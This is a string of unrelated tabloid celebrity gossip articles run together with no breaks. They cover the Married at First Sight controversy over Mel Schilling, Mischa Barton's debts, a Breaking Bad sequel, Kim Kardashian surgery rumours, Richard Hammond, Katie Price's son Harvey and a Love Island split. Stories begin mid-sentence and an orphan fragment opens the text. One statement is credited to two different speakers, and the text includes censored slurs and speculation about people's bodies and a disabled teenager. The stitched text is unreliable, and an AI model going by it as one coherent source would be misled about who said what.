Miller recently went through a divorce from violinist Caroline Campbell, with whom he has a daughter also named, Violet, and a son, Quest.Former Married at First Sight star Ryan Gallagher has rallied behind controversial expert Mel Shilling in the wake of public backlash.

The 31-year-old said Mel 'had every right' to scold 'groom' Bronson Norrish for calling his 'wife' Ines Basic the C-word during Sunday night's episode.

Speaking on Wednesday night's episode of Talking Married, Ryan said the viewer backlash against Mel is completely unwarranted.

'For any bloke to use the C-word against a woman is wrong': Former MAFS star Ryan Gallagher (left) defends expert Mel Schilling (right) amid backlash... despite calling his 'ex' Davina Rankin derogatory names on Instagram

'I'm team Mel, 100 per cent... Mel backed me from the start she called Davina out and everything she did to me. She's not biased at all she's fantastic,' he said.

'For any bloke to use the C-word against a woman for one... [Mel] was right to stand up [because] it shouldn't have been said.

'Mel backed me from the start, she was always lovely to me never said anything wrong... She called Davina [Rankin] out on everything she did to me so she's not biased at all.'

Pot meet kettle? Ryan's criticism of Bronson may come as a surprise to fans, after he appeared to refer to his 'ex-wife' Davina Rankin (centre) as a 'frog' and 'toad' among other things on Instagram last month. Pictured left, Dean Wells

Ryan's criticism of Bronson may come as a surprise to fans, after he appeared to refer to his 'ex-wife' Davina Rankin as a 'frog' and 'toad' among other \things on Instagram last month.

Ryan shared a photo of himself with Davina and Dean to Instagram last year and last month, he tagged them both using vile labels.

Dean, who infamously had an 'affair' with Davina last season on MAFS, was tagged as 'f***wit'.

Defending Mel: Ryan said, 'Mel backed me from the start, she was always lovely to me never said anything wrong... She called Davina [Rankin] (left) out on everything she did to me so she's not biased at all'. Pictured right, Dean Wells during his 'affair' with Davina

Meanwhile, Davina was tagged as 'frog, toad and cheater' among other names - however all labels have since been removed.

Daily Mail Australia has contacted Ryan for comment.

It comes as a Change.org petition for Mel to be sacked over Sunday's episode reached 58,000 signatures on Thursday.

During the first commitment ceremony, 34-year-old former stripper Bronson said his 'wife' Ines was 'acting like a c**t', prompting psychologist Mel to criticise him in front of the whole group.

Backlash: It comes as a Change.org petition for Mel (left) to be sacked over Sunday's episode reached 58,000 signatures on Thursday. Pictured right, Bronson Norrish

After the show aired, outraged fans accused of her of having double standards when it comes to bad language, as she made no reference to how Ines, 28, had verbally abused Bronson while on their honeymoon.

The Change.org petition states: 'Married At First Sight's so-called expert Mel Schilling lashed out at Bronson for using foul language.

'[Mel] has made it clear that she thinks it's okay for a woman to behave the way Ines does.

'Bronson has been a victim of her verbal and emotional abuse all week, and the second he decides it's enough, 'expert' Mel comes in and says he shouldn't be using that language.

'The thing is, Ines is exactly what he said, a nasty, abusive piece of work.'

'Don't use language like that if you want a relationship with a woman!' During the first commitment ceremony, Bronson said his 'wife' Ines Basic (pictured) was 'acting like a c**t', prompting psychologist Mel to criticise him in front of the whole group

It concludes: 'Mel needs to make a formal apology or be sacked from the show. The show doesn't need a one-sided feminist as an 'expert'.'

In a statement on Monday, Channel Nine publicly supported Mel.

A network spokesperson told Daily Mail Australia: 'There were 12 women in the room that night and a man used language that was highly insulting and inflammatory in reference to his wife.

Ouch! 'I'm not calling her a c**t, I'm saying she acts like a c**t', Bronson said of his 'wife' Ines

'Mel acted in the only way appropriate by calling out the language - language that is not ever considered acceptable anywhere, anytime.

'We are shocked at the backlash Mel has received for defending another woman.

'Tonight, Bronson and Ines will go into couples' therapy, where the actions of both participants will be called into account.'

Justified? While he was criticised on the show, and sternly disciplined by Mel, Bronson was widely defended on social media

On Sunday's explosive episode of Married at First Sight, Bronson called Ines the C-word during the first commitment ceremony.

While Ines voted to leave the experiment, Bronson decided to stay, forcing her to endure another week with him.

Explaining his decision, he said: 'When we did the questionnaire thing, Ines was amazing that night, like, really amazing. I loved her to pieces that night.

'Next morning, the Hulk came out. Straight back to a c**t. I'm not calling her a c**t, I'm saying she acts like a c**t'.

The backlash begins: A Change.org petition demanding Mel be sacked or at least issue a formal apology has already attracted hundreds of signatures overnight

He went there! Bronson's castmates, including Elizabeth Sobinoff (pictured), were shocked by his colourful language

Ranting: Mel Schilling (pictured) was horrified by Bronson's slur, saying: 'Don't use language like that if you want any chance of a relationship with a woman'

A stunned Ines replied: 'I don't think this could get any worse.'

Relationship expert Mel was horrified by Bronson's slur, saying: 'Don't use language like that if you want any chance of a relationship with a woman.'

The pair were then told they would be forced into counselling, with fellow expert John Aiken insisting that Bronson needed to learn 'respect'.

Sticking together: While Ines voted to leave the experiment, Bronson decided to stay, forcing her to endure another week with him

While he was criticised on the show, Bronson was widely praised on Twitter for standing up for himself.

Many viewers claimed he was justified in calling Ines a 'c**t' after she had verbally abused him - including telling him repeatedly to 'shut the f**k up' - during their honeymoon in Port Douglas.

'She's been mouthing him off all week and she didn't even get told off?' one person tweeted, addressing the double standard.

'The 'experts' didn't even mention her abusive tendencies but sure let's go off about the word c**t'.

Another viewer wrote: 'So verbal abuse is okay if it's directed at a man, but it's not okay to call the abuser out as a c**t?'

Married At First Sight continues Wednesday at 7:30pm on Channel NineMarried At First Sight 'expert' Mel Schilling faced a backlash on Sunday after she lectured Bronson Norrish over his use of the C-word at the commitment ceremony but failed to address his wife Ines Basic's 'abusive' behaviour on their honeymoon.

In the wake of the controversy, the psychologist defended herself by saying she is 'not privy to everything that happens to the participants during the week' and simply makes observations from what she sees at commitment ceremonies and dinner parties.

However, a throwaway comment during Wednesday's episode appears to contradict this, casting doubt on the claim that the relationship experts do not review footage of the contestants' everyday lives.

After Ning Surasiang toasted to her husband Mark Scrivens' 42nd birthday, expert Trisha Stratford observed: 'That was lovely of Ning to acknowledge Mark's birthday.'

Mel then added: 'Particularly given they've had a bit of a shaky week.'

Mel could only have known that Ning and Mark had a 'shaky week' if she'd watched footage from the past few days, as the couple had seemed amicable when they last convened during Sunday's episode.

This means that it is also likely she watched Bronson and Ines' honeymoon footage before the first commitment ceremony.

Bombshell: A throwaway comment during Wednesday's episode of Married At First Sight appears to contradict claims the relationship experts do not review footage of the contestants' everyday lives. Pictured (left to right): Mel Schilling, Trisha Stratford and John Aiken

Mel has previously stated that she 'only saw what was happening in front of [her]' at Sunday's commitment ceremony when Bronson called Ines the C-word.

'As experts sitting on that couch we are not privy to everything that happens to the participants during the week,' she told 9Honey on Monday.

Addressing the C-word incident, she said: 'That's all I was responding to - what was happening there in the moment without the benefit of that information about what had happened in the wedding and the honeymoon.'

They said what?! After Ning Surasiang toasted to her husband Mark Scrivens' 42nd birthday, expert Trisha Stratford observed: 'That was lovely of Ning to acknowledge Mark's birthday.' Mel then added: 'Particularly given they've had a bit of a shaky week'

Is there something she's not telling us? Mel could only have known that Ning (left) and Mark (right) had a 'shaky week' if she'd watched footage from the past few days, as the couple had seemed amicable when they last convened during Sunday's episode

MAFS' executive producer Tara McWilliams added: 'It's important to understand that the expert's role consists of three parts: the matchmaking of the couples, observing the dinner parties, providing relationship advice at the commitment ceremonies and any private couples counselling if required.

'They aren't present during any filming outside of these weekly events, including the weddings and honeymoons.'

Daily Mail Australia has contacted Channel Nine for comment and clarification.

Limited knowledge? Mel has previously stated that she 'only saw what was happening in front of [her]' at the first commitment ceremony when Bronson called Ines the C-word

The backlash against Mel began after Sunday's episode, when Bronson called his 'wife' Ines the C-word during the first commitment ceremony.

While Ines voted to leave the experiment, Bronson decided to stay, forcing her to endure another week with him.

Explaining his decision, he said: 'When we did the questionnaire thing, Ines was amazing that night, like, really amazing. I loved her to pieces that night.

'Next morning, the Hulk came out. Straight back to a c**t. I'm not calling her a c**t, I'm saying she acts like a c**t.'

A stunned Ines replied: 'I don't think this could get any worse.'

Scandal: Mel (left) lectured Bronson Norrish (right) over his use of the C-word on Sunday's episode of MAFS but failed to address Ines Basic's 'abusive' behaviour, sparking a fan backlash

Psychologist Mel was horrified by Bronson's slur, saying: 'Don't use language like that if you want any chance of a relationship with a woman.'

The pair were then told they would be forced into counselling, with fellow expert John Aiken insisting that Bronson needed to learn 'respect'.

While he was criticised on the show, Bronson was widely praised on Twitter for standing up for himself.

Many viewers claimed he was justified in calling Ines a 'c**t' after she had verbally abused him during their honeymoon in Port Douglas.

Double standards? Bronson called Ines (pictured) the C-word during the first commitment ceremony. He was scolded by Mel, but Ines was let off the hook for her use of foul language

Justified? While he was criticised on the show, and sternly disciplined by Mel, Bronson was widely defended on social media

'She's been mouthing him off all week and she didn't even get told off?' one person tweeted, addressing the double standard.

'The "experts" didn't even mention her abusive tendencies but sure let's go off about the word c**t'.

Another viewer wrote: 'So verbal abuse is okay if it's directed at a man, but it's not okay to call the abuser out as a c**t?'

After the episode aired, Mel was personally slammed by viewers for lecturing Bronson over his use of the C-word, while seemingly letting Ines off the hook for her shocking behaviour.

A Change.org petition demanding that she is fired from the program rapidly gained momentum, receiving more than 58,000 signatures as of Thursday.

He went there! Bronson's castmates, including Elizabeth Sobinoff (pictured), were shocked by his use of the C-word on Sunday's episode

In a statement on Monday, Channel Nine publicly supported Mel.

MAFS' executive producer John Walsh told Daily Mail Australia: 'There were 12 women in the room that night and a man used language that was highly insulting and inflammatory in reference to his wife.

'Mel acted in the only way appropriate by calling out the language - language that is not ever considered acceptable anywhere, anytime.

'We are shocked at the backlash Mel has received for defending another woman.'

Following the backlash, Mel locked down her social media accounts and Channel Nine restricted comments on the show's official Instagram page.

Married At First Sight continues Sunday at 7pm on Channel NineMischa Barton has found herself in a financial pickle.

The beauty has yet to pay the $250,000 a judge ordered her three years ago to hand over to a screenwriter for backing out of him movie, according TMZ.

And now the 33-year-old actress' paychecks from her new The Hills reboot may be garnished. To make matters worse, the initial amount has mushroomed to $310,000 due to interest.

She owes: Mischa Barton has found herself in a financial pickle. The beauty has yet to pay the $250,000 a judge ordered her three years ago to hand over to a screenwriter for backing out of him movie, according TMZ

Her current job: And now the 33-year-old actress' paychecks from her new The Hills reboot may be garnished. To make matters worse, the initial amount has mushroomed to $310,000 due to interest. Seen in January with Ashley Wahler, Audrina Patridge and Caroline D'Amore

In 2016 a judge ordered Mischa to pay screenwriter Daniel Lief $250,410.94 for failing to star in his movie Promoted.

Lief argued that recasting the film cast him more than $300,000.

Now Lief's production company has filed documents - seen by TMZ - asking for the money.

His lawyers have said that her future paychecks should be sent to the screenwriter.

According to the documents there are 'dozens' of companies that could send the money their way.

Her first big hit: The star with Benjamin McKenzie as Ryan, left, and Peter Gallagher as Sandy, right, on The OC in 2004

One of the companies is MTV, which has hired Mischa for the new Hills show which she has been shooting since October.

The series also stars Audrina Patridge as well as Heidi and Spencer Pratt.

This is not the only financial issue she has had. In 2018 she was hit with two tax liens, according to RadarOnline.

The Clerk of Court for Los Angeles County confirmed the IRS gave with a federal tax lien for $14,862 on September 5, 2018. On January 13, 2017, she was hit with a federal tax lien for $38,124.

Money madness: This is not the only financial issue she has had. In 2018 she was hit with two tax liens, according to RadarOnline. On January 13, 2017, she was hit with a federal tax lien for $38,124 and the Clerk of Court for Los Angeles County confirmed the IRS gave with a federal tax lien for $14,862 on September 5, 2018. Seen in 2017

And the next month she ran her U-Haul into an apartment building. The HOA sued her for over $26,000. And in September 2018 U-Haul said she owes the company over $5,000.

Mischa started out as a model for Calvin Klein and Chanel, then landed a role on the popular series The OC.

The blonde beauty, who was born in the UK, went on to star in the short-lived Ashton Kutcher-produced CW series The Beautiful Life: TBL (2009) and then Martin Sheen in Bhopal: A Prayer for Rain (2014).

Also in 2016, Barton was announced as one of the celebrities who will compete on the 22nd season of Dancing with the Stars. She was paired with professional dancer Artem Chigvintsev. The finished in 11th place.

In 2018, Barton was cast in The Cat and the Moon, the directorial debut of Alex Wolff.Aaron Paul will allegedly be returning to his role as Jesse Pinkman in the hotly-anticipated sequel film to the hit AMC series Breaking Bad.

According to reports from The Hollywood Reporter on Wednesday, the actor, 39, will feature as the title character in the feature-length drama.

Sources told the publication the film will revolve around Aaron, while showrunner Vince Gilligan previously confirmed it will follow 'a kidnapped man on his quest for freedom'.

He's back: It was reported on Wednesday that Aaron Paul will 'RETURN to his role as Jesse Pinkman' in sequel film to the hit series Breaking Bad, which is also set to be released on Netflix

They also claimed that Netflix have the rights to release the film first on the video-on-demand platform, before it then airs on its original US-based channel AMC.

Not much is known about the top-secret project, but the publication reported that series creator Vince Gilligan is on board to write and direct the film, and it has the working title of Greenbrier.

Jesse was last seen driving off into the night after being kidnapped and forced under duress to make Meth for Todd (Jesse Plemons), his uncle Jack (Michael Bowen), and his gang of goons.

Drama: Sources told The Hollywood Reporter the film will revolve around Aaron, while Vince Gilligan has previously confirmed it will follow 'a kidnapped man on his quest for freedom'

He managed to escape after his former partner Walter White (Bryan Cranston) came to kill Todd and the Aryan brotherhood with a machine gun he concealed in the back of his car.

Jesse, who then had an estranged relationship with Walt, was brought out of his underground prison-turned-lab to see him, where he then tackled the man to the ground in anger.

During the punch-up, Jesse triggered the switch on the machine gun which fired into the room, mortally injuring Walt, and killing everyone inside except for Jesse.

After letting Jesse drive off, Walt went into the lab to look at all of the equipment as police came to raid the premises, but collapsed and died just before they arrived.

Bad place: Jesse was last seen driving off into the night after being kidnapped and forced under duress to make Meth for Todd (Jesse Plemons), his uncle Jack, and his gang of goons

Breaking Bad followed dejected high-school chemistry teacher Walter, who decides to start making Crystal Meth with his former student Jesse, after he is diagnosed with lung cancer.

Originally intending to make the money as a way to pay for his treatment and make enough money to support his family, Walt soon loses himself in the business and becomes a drug lord known using the pseudonym Heisenberg.

According to the Albuquerque Journal, production was scheduled to start at the end of 2018 in New Mexico

Iconic: Breaking Bad followed dejected chemistry teacher Walter White, who decides to start making Crystal Meth with his former student Jesse, after he is diagnosed with lung cancer

'[Greenbriar will] follow the escape of a kidnapped man and his quest for freedom'  suggesting it might focus on Jesse Pinkman (Paul) following the events in the Breaking Bad series finale, which aired in 2013,' the Journal reported last year.

Adding: 'How Cranston's meth king character Walter White would factor into such a story is unclear (as White died in the finale).'

Breaking Bad aired on AMC for five seasons from 2008-2013. The series boasts 16 Prime Time Emmy wins and 58 nominations as well as two Peabody Awards.

For his role, Bryan took home the Emmy for Outstanding Lead Actor in a Drama Series four times and co-star Aaron earned three Emmy's for Outstanding Supporting Actor in a Drama Series.Kim Kardashian has been accused of having rhinoplasty for years, and while she understands why fans would think she has gone under the knife, she insists that's not the case.

The 38-year-old Keeping Up with the Kardashians star spoke candidly about the appearance of her nose while getting her makeup done by Mario Dedivanovic at The Master Class in Los Angeles over the weekend.

'I never had my nose done,' she said. 'Everyone thought I did, and I said, "Wait until I have kids because your real features come out."'

She later attempted to clarify her rather perplexing explanation by tweeting: 'I said you will see when I have kids, they will have the same nose as me.'

Not me! Kim Kardashian, pictured left in 2006 and right in 2019, denied having rhinoplasty while getting her makeup done by Mario Dedivanovic during The Master Class in Los Angeles

 Slide me  A big change: Thirteen years ago, (slide right) the siren had rounder features and now (slide left) she has a more slender nose and face

Mario explained that Kim has a 'small bump on her nose,' but he uses a contouring technique to hide it.

While she strongly denies every having a nose job, she agrees with her fans that her face does look different.

'Pictures, I swear, I look at them and would be like, "Wow, the bump looks so much bigger in some pictures than in others,"' she said.

Dr. Darren M. Smith, a plastic surgeon in New York City who has not treated Kim, told DailyMail.com that there are several explanations as to why the appearance of her nose has changed over time - and noted that a nose job could well be responsible for her 'more refined' look.

'A rhinoplasty (nose job) would explain the more refined appearance of her nose that weve been seeing recently,' he said. 'However, the changes to her nose, while significant, are not that dramatic.'

Dr. Smith explained that these changes can be achieved with makeup, lighting, or even 'liquid rhinoplasty,' which involves using fillers to change the shape of the nose.

 Slide me  Another angle: The reality star looks different from the side as well. In 2006, she had a bump on her nose (slide right), but the bump appears to be gone in 2012 (slide left)

Disappearing act: Kim, pictured left in 2006 and right in 2018, admitted the 'bump' on her nose looks bigger in some pictures compared to others

'Her noses consistent appearance, however, does make a permanent change like surgery seem more likely,' he noted.

Dr. David Cangello, another plastic surgeon based in New York City, agreed it's possible that Kim's ever-changing nose is the result of contouring.

'I dont think she had a rhinoplasty,' he told DailyMail.com, noting that her nose was 'relatively small and nicely shaped' as far back as 2008.

'Since then, it doesnt appear as though the nose has changed much,' he added. 'I do agree that in some pictures it looks like she has more definition to the bridge of the nose, which makes one wonder if she had a procedure.'

'What I think is more likely is that the added definition is due to either makeup contouring or photo lighting/alteration.'

Dr. Cangello noted that dermal fillers can also be used to add projection and definition to the nose, but it's not something he recommends to his patients at Cangello Plastic Surgery.

'They are not a good long term solution for this because over time they make the nose look wider and the skin looks thicker,' he explained. 'Fillers to the nose really are only good for fixing minor contour irregularities of the nose.

Looking back: Kim had a cute little nose when she was a baby in 1982

Back in her youth: The reality star's nose perfectly fit her face when she was a young teen in the '90s

In the late 90s: Kim's nose appeared to be slightly wider in this high school yearbook photo

'So I think that if Kim had been adding fillers to her nose for any lengthy period of time, she would not have the nice definition to the bridge of her nose that she has in some photos.'

Kim has denied having rhinoplasty for years, spanning back to a 2010 Nightline interview in which she addressed rumors that she has had a nose job.

'I've never had my nose done. But what's funny is about my nose, it's my biggest insecurity. I always want to get my nose done,' she said.

'I had them take the pictures, he showed me what it would look like, and it just didn't . . . I wouldn't look the same,' she added.

Six years later, she spoke about the appearance of her nose in a 2016 interview with Wonderland magazine.

'People think Ive had my nose done. I havent. It does look smaller. Maybe its the contour I use,' she said.

The star, whose father was Armenian, added, 'I used to hate this bump on my nose, she said. 'Hated it. Now I love that it makes me look more ethnic.'

Back in the day: Kim, pictured with her sister Kourtney Kardashian, looks like a completely different person in 2005

Slight changes: Kim's appearance has changed subtly over the years, and her nose looked straighter in 2007

Now: In this 2018 Kim Kardashian West beauty ad, the star seemed to have a perfect nose

The public has watched Kim's every move for more than a decade, so it's no surprise that the reality star has faced ongoing speculation about the changes in her appearance.

Kim has long denied getting butt implants to give her famous backside a boost. She was so adamant about shutting down the rumors that she had an X-ray done in Season 6 of Keeping Up with the Kardashians to prove her critics wrong.

However, her curvaceous backside has inspired a legion of fans to get Brazilian butt lifts, a procedure in which fat from other areas of the body is transferred to the derriere to make it fuller.

She is widely considered the driving force behind the upswing in the procedure in recent years, but she has never admitted to having one.

The mother-of-three has also spent more than a decade denying claims that she has had a breast augmentation, a procedure that her sister Kourtney Kardashian has openly spoken about having when she was just 21 years old.

Kim is known for using gaffer tape to give her chest a boost when she can't wear a bra, but she has firmly denied ever having a boob job.

'I have not ever had plastic surgery. I hope after seeing this you guys will never ask me a plastic surgery question again!' she wrote on her now-defunct blog in 2008.

Boosted bust: Kim, pictured left in 2006 and right in 2019, has also spent more than a decade denying claims that she has had a breast augmentation

Mum's the word: In earlier interviews, Kim said she would get a breast lift after becoming a mother, but the mom of three has yet to say she has had one

Backside: Kim's curvaceous backside has inspired a legion of fans to get Brazilian butt lifts, and while her bottom in a lot larger than it once was, she has denied having any work done. She is pictured left in 2006 and right in 2019

The businesswoman went on to point out that she has had large breasts from a young age, explaining: 'I have had a size C since I was 11 years old.'

However, she noted that she wasn't entirely opposed to giving her breasts a boost after she had children.

'One day I will definitely get a lift, but I am waiting until after I have kids,' she said. 'Until then, I rely on a great supportive bra!'

Two years later, during the same Nightline interview in which she talked about her nose, Kim joked that she was in desperate need of a breast lift.

'Im totally not against plastic surgery,' she said. 'Trust me, honey, if I take this bra off you will tell me I need to get them done.'

Nearly nine years later, rumors that Kim has gotten a boob job continue to swirl, even after she became a mom.

Kim gave birth to her eldest daughter North, five, and son Saint, three, before welcoming her baby girl Chicago, one, via surrogate last year.

Au naturel? In 2016, Kim denied a celebrity dermatologist's claims that she spent $100,000 on getting her pre-baby body back after the birth of her son Saint

Then and now: Kim, pictured left in 2006 and right in 2019, has admitted to lasering the baby hairs off of her forehead to re-sculpt her hairline

Despite her past comments about getting a lift after carrying a baby, she hasn't confessed to having any work done on her breasts after becoming a mom.

In 2016, Kim denied a celebrity dermatologist's claims that she spent $100,000 on getting her pre-baby body back after the birth of her son Saint.

Dr. Tabasum Mir, a New York City-based dermatologist and star of Bravo's The Singles Project, revealed her estimated numbers during an interview with talk show host Rob Shuter for Bikini.com.

She claimed the then-35-year-old had a tummy tuck, laser treatments, and implants to help her look flawless after giving birth. But the reality star's rep told DailyMail.com: 'This is false.'

And while she is constantly denying plastic surgery accusations, Kim has been open about some of the cosmetic procedures she has tried.

She famously got Botox for the first time on Season 5 of Keeping Up with the Kardashians, and she also admitted to lasering the baby hairs off of her forehead to re-sculpt her hairline.

Tip of the day? Kim recently revealed that her trick to avoiding laugh lines is to not smile

All smiles: Kim said she used to love smiling for the cameras when she was young

Not today: Kim recalled being very swollen from preeclampsia while she was pregnant with her daughter North (pictured) and how it made her not want to smile

New attitude: 'I just didnt feel like being that girl who was going to be smiling for every photo,' she said of the change

Wrinkles also seem to be on Kim's mind, and during her appearance at The Master Class event last weekend, she gave some surprising advice about how to prevent laugh lines.

When a fan asked the KKW makeup mogul how she avoids lines around her face, she replied: 'Don't smile.'

Kim recalled being very swollen from preeclampsia while she was pregnant with her daughter North and how it made her not want to smile, essentially changing the way she posed for photographs.

'Before I was always smiling and so into being out and about,' she said.

'After I had the baby, I was like, "These are the same people that made fun of me, and posted the stories that were so awful, calling me fat for something I couldnt control."'

Kim said the scrutiny changed her attitude about posing for photos.

'Even if I was more confident, I just didnt feel like being that girl who was going to be smiling for every photo,' she said.

'It changed my mood. It changed who I was. It changed my personality a lot,' she admitted.Richard Hammond has returned behind the wheel of another electric super car in the trailer for the new episode of The Grand Tour.

The presenter, 49, who has suffered a catalogue of injuries following two serious car accidents, couldn't contain his glee as he tested out a new vehicle called NIO EP9.

Richard is joined by co-hosts Jeremy Clarkson and James May as they make the journey to China's Chongqing, where they continue testing a host of vehicles.

Richard Hammond, 49, has returned behind the wheel of another electric super car in the trailer for the new episode of The Grand Tour

At one point, Richard proclaimed 'it's just insanity', as a further handful of clips shows him hurtling along the road in a speeding car.

Richard then asks Clarkson and May: 'How are we going to use airborne flamethrowers to test the power and agility of our cars?'

The next clip proved that Richard is the guinea pig for the trio, as he drives a car through an array of flame.

The episode will be available on Prime Video from this Friday 15th February.

The show goes on: Richard is joined by co-hosts Jeremy Clarkson and James May as they make the journey to China 's Chongqing, where they continue testing a host of vehicles

Stunt: Richard then asks Clarkson and May: 'How are we going to use airborne flamethrowers to test the power and agility of our cars?'

Dangerous: The next clip proved that Richard is the guinea pig for the trio, as he drives a car through an array of flame

Richard has had his fair share of drama when he was airlifted to hospital after flipping a 2million electric supercar, which then burst into flames as he filmed The Grand Tour in June 2017.

The car burned at temperatures of 1200 to 1500 degrees. It was hosed with cold water for eight hours before a tow truck could safely remove it.

Hammond miraculously escaped the fireball with little more than a fractured knee and was 'conscious and talking' after freeing himself from the vehicle.

Scary: Richard was airlifted to hospital after flipping a 2million electric supercar, which then burst into flames as he filmed The Grand Tour in June 2017

The Grand Tour producer Amazon later released images showing the burnt-out wreckage of the car laying upside down on a hill.

The crash, which happened on a road closed for the Bergrennen Hemberg race in hilly, rural Switzerland, brought back memories of a previous accident involving Hammond 11-years earlier.

The presenter was rushed to hospital after the souped up Vampite Jet car he was been driving somersaulted into the air while travelling at 300miles an hour.

Lucky: Hammond miraculously escaped the fireball with little more than a fractured knee and was 'conscious and talking' after freeing himself from the vehicle

Rescue crews cut Hammond free after he lost control of the vehicle, in which he hoped to break the British land speed record, at Elvington Airfield in Leeds.

Speaking about his second accident in 2017, Hammond told the Mirror: My family havent seen the latest crash. I dont think they ever will. Mindy wont want to watch it, because she will just be really, really cross.'

He recalled: I remember being upside down in the air for quite a while and thinking, Well the longer its upside down the worse, the worse its going to be when I land. And it was a hard landing.It was reported last week, that the 16-year-old had caused '7k worth of damage', with the mother-of-five confirming she was sending him into full-time care.

And Katie Price shared a picture of her boarded up kitchen window on Wednesday as she took to Instagram to post a snap of her two German Shepherd dogs inside her 2 million mansion.

In the photo, the former glamour model, 40, could be seen cooking in a camouflage tracksuit while her two pet pooches, Bear and Sparkle, looked adoringly up at her.

Boarded up home: Katie Price shared a picture of her boarded up kitchen window on Wednesday as she took to Instagram to post a snap of her two German Shepherd dogs

However, in the background of the picture, Katie's boarded up kitchen windows could be spotted after it was reported that her eldest son Harvey had 'smashed pretty much every window in the house'.

According to reports, the TV star has installed Perspex screens over the TVs and boarded up the windows to Harvey-proof her 2million mansion.

The 16-year-old is partially blind, autistic, has Prader-Willi syndrome and weighs 24 stone, with Katie recently confirming she is sending him into full-time care.

Family: In the background of the snap, Katie's boarded up kitchen windows could be spotted after it was reported that Harvey had 'smashed pretty much every window in the house'

Doting mother: According to reports, the TV star has installed Perspex screens over the TVs and boarded up the windows to Harvey-proof her 2million mansion (Harvey pictured in 2016)

An insider told The Sun: 'Harvey has smashed pretty much every window in the house and has caused 7k damage.

'The windows now just get covered with cardboard when he breaks down because its too difficult to constantly replace them.

'Katie has to lock her eldest son out of the kitchen because hes prone to smashing up the plates, glasses and anything else that is breakable in there.'

MailOnline has contacted Katie's representative for comment.

Tough decision: The 16-year-old is partially blind, autistic, has Prader-Willi syndrome and weighs 24 stone, with Katie recently confirming she is sending him into full-time care (Katie, Harvey and her mother Amy pictured in 2015)

The Instagram picture comes after Katie defended her decision to send son Harvey, 16, into full-time care at his school on Friday's This Morning.

The Loose Women panellist said: 'He is now six foot two, 24 stone and he's still growing,' she said. 'And he kicks off. The other day he kicked a chair across a room over a muffin.

'On Instagram, I only show him when he's good. But he's got a side to him. My house is smashed to bits. This year he has broken eight iPads and four TVs. Someone might bang the door and he'll chuck something.

'Some people think I'm out of order [sending him into care] but people don't understand the situation.'

Troubling: An insider told The Sun : 'Harvey has smashed pretty much every window in the house and has caused 7k damage.'

The former glamour model insisted she 'doesn't want sympathy' but that things are very difficult at home, especially as she has four other smaller children.

'Harvey wanted to come with me [to This Morning]. He thinks I am out getting him a carbonara. He'll be waiting by the window for it,' she said. 'He is like a nightmare newborn. He goes into the kids' room at night, says "boo", and scares them.'

Katie is mother to Junior, 13, Princess, 11, Jett, five and Bunny, four, and has made the decision to move Harvey into accommodation at his school with a heavy heart.

'I love him so much, he's my life. It has taken me ages to be convinced this is the best place for him,' she said. 'I would never want him to think I am palming him off - but I have no choice.'

Choices: The Instagram picture comes after Katie defended her decision to send son Harvey, 16, into full-time care at his school on Friday's This Morning (pictured in 2016)

She went on to explain: 'I can still go, have dinner, tuck him into bed, he will only be there Monday-Friday.

'But he is so obsessed with me and I have never done respite [care] and when he triggers off it scares the [other] kids. And I can't tell him off as he doesn't understand. He gets into a rage.'

Katie explained that the arrangements have been made and she is just waiting now.

'He was supposed to start on Monday but it didn't happen, obviously,' she said. 'I am really nervous - I have asked if I can have him back if I don't like it. But I can't. I need to do this.'He announced his split from Zara McDermott at the start of the week.

And Adam Collard, 22, couldn't resist flirting with a bevy of beauties as his admirers left gushing comments under his recent shirtless snap on Instagram.

While the Love Island hunk appeared to be moving on, the same couldn't be said for Zara, 22, who was caught liking a slew of comments urging the exes to get back together.

Back at it: Adam Collard, 22, couldn't resist flirting with a bevy of beauties as his admirers left gushing comments under his recent shirtless snap on Instagram

Proving he was moving on without a care in the world, one follower's love heart emoji caught the attention of Adam who replied back with the matching comment.

However, Zara proved to be liking comments of a different nature under Adam's snap as she threw her support behind someone who wrote: 'Dont get rid of the Z, u two were the strongest couple to come out of Love Island and youve proved everyone wrong, go get your girl back.'

The brunette also liked another comment which read: 'What you need to do is fix things up with Zara.'

This comes amid reports that Zara is being eyed up by Celebs Go Dating bosses, who are said to be keen to sign up the newly single star for the next series of the E4 show.

Flirty: Proving he was moving on without a care in the world, one follower's love heart emoji caught the attention of Adam who replied back with the matching comment

Heartbroken? While the Love Island hunk appeared to be moving on, the same couldn't be said for his ex Zara McDermott, 22, who was caught liking a slew of comments urging the exes to get back together

Zara proved to be liking comments of a different nature under Adam's snap as she threw her support behind people hoping they would get back together

The former Government adviser is reportedly 'exactly' the type of character producers want on the show, because she's outspoken and comes with a huge Love Island following.

A source told The Sun Online: 'She's gorgeous, fun and clever - she'll keep the men on their toes and won't be afraid to speak her mind.

'Producers know that Love Island stars come with a legion of loyal fans to watch their show.

'Everyone will be desperate to see what type of guy Zara goes for next.'

If Zara does indeed appear on the next series of Celebs Go Dating, she will follow in the footsteps of her Love Island co-stars including Georgia Steel, Eyal Booker and Jack Fowler.

Next reality show? Meanwhile, Zara is reportedly being eyed up by Celebs Go Dating bosses

What's going on? The position of Adam's arms hid his 'Z' tattoo, which he got in tribute to his ex-girlfriend, during their relationship - and the move didn't go unnoticed by his followers

MailOnline has contacted Celebs Go Dating and Zara McDermott's representatives for comment.

Meanwhile, as news of Zara's potential stint on the E4 dating show broke, Adam returned to social media following their split.

Taking to Instagram, the heavily tattooed reality star shared a topless selfie, which displayed many of his inkings.

However, the position of Adam's arms hid his 'Z' tattoo, which he got in tribute to his ex-girlfriend, during their relationship - and the move didn't go unnoticed by his followers.

While the Love Island hunk captioned the snap: 'more drawings please,' fans took to the comments section of his post to quiz him about the absent tattoo.

Fresh: Adam also took to his Instagram Stories to show his fresh haircut

Pump it! He also shared a video of himself working out in the gym

It's over: They had been together for around eight months

One confused follower asked: 'Wait what have u done with your Z tattoo' while someone else quizzed: 'What about your Z for Zara on there!'

Adam also took to his Instagram Stories to show that he'd treated himself to a fresh haircut, and was back in the gym.

Zara and Adam dated for eight months. The former government adviser told her Instagram followers on Monday afternoon she is 'heartbroken' to have parted ways from the personal trainer after 'trying so hard to make it work'.

Adam and Zara's split means only one couple from the 2018 series of Love Island remain together; show winners Dani Dyer, 23, and Jack Fincham, 27.

Breaking point: Just days ago, Adam and Zara were said to be 'on the rocks' over his recent night out with Instagram model Brittany Archer, according to The Sun

Zara's impassioned post read: 'I am heartbroken to announce that Adam and I have parted ways.

'I love him very much and will always have a special place in my heart for him & our time spent together. I have tried so hard to be the best person I can possibly be and to make it work.

'Sometimes in life, you just aren't enough for someone; no matter what you do for them or how much you try to be.

